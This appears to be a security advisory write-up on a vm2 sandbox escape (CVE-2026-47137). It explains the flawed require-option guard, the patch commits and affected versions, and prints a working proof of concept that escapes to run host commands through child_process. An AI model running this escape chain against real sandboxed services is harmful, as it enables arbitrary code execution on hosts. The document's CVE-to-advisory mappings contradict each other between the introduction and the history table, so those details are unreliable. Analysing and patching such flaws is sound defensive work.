Introduction
A single omitted configuration option in the popular Node.js sandboxing library vm2 completely negates a prior security patch, letting any code inside the sandbox escape and run arbitrary commands on the host operating system. CVE-2026-47137, scored at the maximum CVSS 10.0, bypasses the fix for CVE-2023-37903. Exploiting it needs no authentication, no user interaction, and no special privileges.
vm2 is an open source virtual machine and sandbox for Node.js, designed to run untrusted JavaScript code with controlled access to Node.js built in modules. It sees roughly 1.5 million weekly npm downloads, has 895 dependent packages, and over 56.7 million cumulative downloads, which is why Snyk classifies it as a "key ecosystem project." The library is widely used in CI/CD pipelines, low code platforms, and increasingly in AI agent frameworks that need to run LLM generated code in a sandboxed environment.
Technical Information
The Original Vulnerability and Its Patch
CVE-2023-37903 (tracked as GHSA-8hg8-63c5-gwmx) found that when a NodeVM was created with nesting: true and require: false, the NESTING_OVERRIDE builtin map in lib/nodevm.js (lines 96 through 99) unconditionally injected the vm2 package into the resolver. Sandbox code could then call require('vm2'), construct an inner NodeVM with unrestricted require settings, and escape the sandbox entirely.
The patch for that vulnerability added a guard at nodevm.js line 263 meant to block this dangerous combination:
// nodevm.js:263 — the security check if (options.nesting === true && options.require === false) { throw new VMError('...'); }
The Bypass: Strict Equality vs. Undefined
The flaw in CVE-2026-47137 is simple but devastating. The guard uses JavaScript's strict equality operator (===) to compare options.require against the literal value false. In JavaScript, accessing a property that is not present on an object returns undefined, not false. The expression undefined === false evaluates to false, so the guard is silently skipped.
The critical sequence in the vulnerable code is:
// nodevm.js:263 — the security check if (options.nesting === true && options.require === false) { throw new VMError('...'); } // nodevm.js:280 — the default assignment (AFTER the check) const { require: requireOpts = false } = options; // When options.require is undefined: // - Line 263: undefined === false → FALSE → check skipped // - Line 280: requireOpts = false → same as require:false
At line 280, the destructuring assignment with a default value (require: requireOpts = false) collapses the omitted require field to false. That produces the exact insecure configuration the guard at line 263 was designed to reject. The ordering is what breaks it: the security check runs on the raw input before destructuring, but the resolver logic runs on the destructured value after it.
Exploitation Chain
The attack follows a four step chain:
- Create an outer NodeVM with the bypassed configuration. The attacker, or the application acting on the attacker's input, creates a
NodeVMwith{ nesting: true }and does not specifyrequire. The guard is skipped becauseoptions.requireisundefined, notfalse. - Import vm2 inside the sandbox. Because
nesting: trueactivates theNESTING_OVERRIDEmap, the sandbox code can callrequire('vm2')to obtain the vm2 library itself, even though the effectiverequireOptsisfalse. - Construct an unconstrained inner NodeVM. Using the imported vm2, the attacker creates a new inner
NodeVMwith an unrestrictedrequireconfiguration, such as{ builtin: ['child_process'] }. - Execute arbitrary OS commands. The inner VM calls
require("child_process").execSync("id")or any other system command, running it directly on the host under the Node.js process context.
This chain needs no authentication and no user interaction, and it can be triggered over a network connection whenever an application passes untrusted input to a vm2 sandbox configured with nesting: true.
Classification
The vulnerability is classified as CWE-913 (Improper Control of Dynamically Managed Code Resources), which reflects a weakness in how the library manages code isolation boundaries. The CVSS v3.1 vector is AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H: network exploitable, with changed scope and complete impact across confidentiality, integrity, and availability.
Proof of Concept
A complete, working proof of concept is published in the official GitHub Security Advisory GHSA-m4wx-m65x-ghrr, credited to researcher @q1uf3ngONEKEY. The PoC shows full remote code execution on the host system:
const { NodeVM } = require('vm2'); // nesting:true, require not specified (defaults to false AFTER the check) const nvm = new NodeVM({ nesting: true }); const result = nvm.run(` const { NodeVM } = require('vm2'); const inner = new NodeVM({ require: { builtin: ['child_process'] } }); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()", 'exploit.js' ); `, 'exploit.js'); console.log(result); // prints host uid/gid — full RCE
The output (for example, uid=1000(user) gid=1000(user)) confirms code execution on the host rather than inside the sandbox. The outer NodeVM is created with only { nesting: true }, deliberately omitting the require option. That makes options.require undefined, which slips past the strict equality check against false, while the destructuring default then sets the internal requireOpts to false, the exact state the guard was supposed to prevent.
Patch Information
CVE-2026-47137 is patched in vm2 version 3.11.4, released on May 18, 2026. The fix lands in two commits by Patrik Simek, each widening the security guard further.
Commit 1: Reorder and Generalize the Falsy Check (01a7552)
The first commit restructures the constructor so that destructuring happens first, and the guard runs on the computed requireOpts value that actually drives the resolver:
const { require: requireOpts = false, nesting = false, /* ... */ } = options; if (nesting === true && !requireOpts) { throw new VMError('NodeVM `nesting: true` requires an explicit `require` config. ...'); }
Using !requireOpts instead of a strict comparison against the raw input catches every falsy path uniformly: require: false, omitted require, require: undefined, require: null, require: 0, and require: '' all trigger the VMError at construction time. This commit also adds a test file at test/ghsa/GHSA-m4wx-m65x-ghrr/repro.js covering every falsy variant plus the full RCE PoC chain.
Commit 2: Widen to All Insecure Input Shapes (86ab819)
The second commit addressed two more bypass classes:
- Truthy non
truenesting values. The internal override gate uses truthiness (nesting && NESTING_OVERRIDE), not strict equality, so values like1,'yes',{}, or[]would still inject the override. The guard was widened fromnesting === trueto justnesting(a truthy check). - Truthy non object require values. Passing
require: true,require: 1, orrequire: 'yes'would pass the!requireOptscheck because they are truthy, but insidemakeResolverFromLegacyOptionsthese primitives destructure to allundefined, producing the same dangerous resolver.
The final guard performs a structural type check:
const hasRealRequireConfig = requireOpts instanceof Resolver || (typeof requireOpts === 'object' && requireOpts !== null); if (nesting && !hasRealRequireConfig) { throw new VMError('NodeVM `nesting` requires an explicit `require` config object. ...'); }
Now requireOpts must be either a genuine non null object (for example, {} or { builtin: [] }) or a Resolver instance. Every other shape is rejected at construction time. The documented escape hatch for embedders who intentionally accept the nesting trade off still works: passing any real require config object, even an empty {}, continues to work, which makes the developer's acknowledgment of risk visible at the call site.
Both commits include matching changes to CHANGELOG.md, README.md, docs/ATTACKS.md, and the test suite to document the broader defense invariant: configurations that produce a NESTING_OVERRIDE only resolver must fail loudly at construction time.
Affected Systems and Versions
All versions of vm2 up to and including 3.11.3 are affected. The vulnerability is patched in version 3.11.4.
The vulnerable configuration requires:
NodeVMcreated withnesting: true- The
requireoption either omitted entirely or set to any value that is not a genuine non null object orResolverinstance
Any application, framework, or platform that creates a NodeVM with nesting: true without explicitly configuring require as an object is vulnerable. That includes transitive dependencies: 895 npm packages depend on vm2, and many may use the vulnerable configuration pattern without the end user's direct awareness.
Kodem Security has singled out AI agent frameworks as a high risk category, since these systems commonly use vm2 to sandbox LLM generated or user provided code with nesting enabled.
Vendor Security History
vm2 has a long, concerning pattern of sandbox escape vulnerabilities whose patches are later bypassed. The following table summarizes the escalating chain:
| CVE | GHSA | CVSS | Affected Versions | Patched Version | Description |
|---|---|---|---|---|---|
| CVE-2023-30547 | <= 3.9.16 | 3.9.17 | Sandbox escape | ||
| CVE-2023-37903 | GHSA-g644-9gfx-q4q4 | 9.8 | <= 3.9.19 | 3.9.20 | Sandbox escape via Node.js custom inspect function |
| CVE-2026-44007 | GHSA-8hg8-63c5-gwmx | 9.1 | <= 3.11.0 | 3.11.1 | nesting: true bypasses require: false via NESTING_OVERRIDE |
| CVE-2026-22709 | 9.8 | <= 3.10.1 | 3.11.0 | Sandbox escape via Promise callback bypass | |
| CVE-2026-47137 | GHSA-m4wx-m65x-ghrr | 10.0 | <= 3.11.3 | 3.11.4 | Bypass of GHSA-8hg8-63c5-gwmx patch via strict equality flaw |
The CVSS scores have climbed from 9.1 to 9.8 to the current maximum of 10.0. Kodem Security counted 13 vm2 sandbox escape CVEs in the 2026 wave alone. Endor Labs notes that the library is no longer actively maintained in a way that would address the architectural issues behind these repeated escapes. Several security research firms, including Endor Labs, Kodem Security, and Semgrep, recommend migrating away from vm2 entirely for security critical isolation.
References
- NVD: CVE-2026-47137
- CVE Record: CVE-2026-47137
- GitHub Advisory: GHSA-m4wx-m65x-ghrr (Official Advisory)
- GitHub Advisory Database: GHSA-m4wx-m65x-ghrr
- GitLab Advisory: CVE-2026-47137
- Security Online: vm2 Sandbox Escape Vulnerabilities
- GitHub Advisory: GHSA-g644-9gfx-q4q4 (Prior CVE-2023-37903)
- GitHub Advisory: GHSA-8hg8-63c5-gwmx (Prior CVE-2026-44007)
- Patch Commit 1: 01a7552
- Patch Commit 2: 86ab819
- vm2 Release v3.11.4
- Endor Labs: CVE-2026-47137 Analysis
- Kodem Security: vm2 Sandbox Escape, AI Agent RCE Risk and IOCs
- Semgrep: New Sandbox Escape Affecting vm2
- Socket: Free Certified Patches for vm2 Sandbox Escape
- BleepingComputer: Critical vm2 Sandbox Bug
- vm2 on npm
- vm2 on Snyk
- vm2 GitHub Repository
- vm2 Sandbox Escape Exploits (jakabakos)
- Exploit-DB: vm2 Sandbox Escape



